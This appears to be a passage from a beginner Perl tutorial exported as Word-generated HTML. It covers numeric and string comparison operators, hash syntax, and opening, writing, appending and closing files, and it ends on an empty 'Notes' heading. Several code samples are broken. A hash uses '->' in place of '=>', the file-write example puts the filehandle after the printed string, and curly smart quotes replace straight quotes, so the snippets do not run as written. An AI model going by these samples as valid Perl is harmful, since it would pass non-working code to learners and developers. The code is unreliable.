<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220665"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Data comparison</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The comparison operator for numbers and strings are as follows:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<table class="MsoNormalTable" style="margin: auto auto auto 77.4pt; width: 6in; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext;" border="1" cellspacing="0" cellpadding="0" width="576">
<tbody>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes;">
<td style="padding-right: 5.4pt; padding-left: 5.4pt; padding-bottom: 0in; width: 150.6pt; padding-top: 0in; background-color: transparent; mso-border-alt: solid windowtext .5pt; border: windowtext 1pt solid;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Compare<span style="mso-tab-count: 1;">        </span><span style="mso-tab-count: 1;">            </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Numbers<span style="mso-tab-count: 1;">       </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String</span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow: 1;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">lt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 2;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">gt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 3;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">le</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 4;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ge</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 5;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">==</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">eq</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 6;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Not equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">!=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ne</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 7; mso-yfti-lastrow: yes;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">compare</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=&gt;</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">cmp</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220666"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Hash/Associative Array</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Hash or associative array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">designated<span style="color: black;"> by %</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">Hashes contain data in pairs called <strong style="mso-bidi-font-weight: normal;">KEY</strong> and associated <strong style="mso-bidi-font-weight: normal;">VALUE</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">%names = (‘somali’,’444’,’arundhati’,’631’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">Or </span></strong></p>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">% names = (somali<span style="mso-spacerun: yes;">         </span>-&gt; ‘444’,</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">          </span><span style="mso-tab-count: 1;">  </span><span style="mso-spacerun: yes;">   </span>arundhati<span style="mso-spacerun: yes;">     </span>-&gt; '631')</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">Or</span></span></strong></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">my( %names);</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">$names{ &lt;key&gt; } = &lt;value&gt;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Print a hash</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print “@{[% names]}”</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220667"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write and Close file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open a file in write mode. Here if the file does not exist, the file will be created. If it exists, the file will be overwritten.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;</strong>’ – open a file in write mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To append data into an existing file, the file needs to be opened in append mode.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>’ – open a file in append mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To write to a file, write access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">print “$var\n” &lt;File identifier&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Close the file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">close (&lt;File identifier&gt;)<span style="mso-spacerun: yes;">   </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;close failed: $!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; mso-outline-level: 1;"><a name="_Toc220220668"></a><a name="_Toc168744005"></a><a name="_Toc168743902"><span style="mso-bookmark: _Toc168744005;"><span style="mso-bookmark: _Toc220220668;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Notes</span></span></strong></span></span></a><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></strong></p>
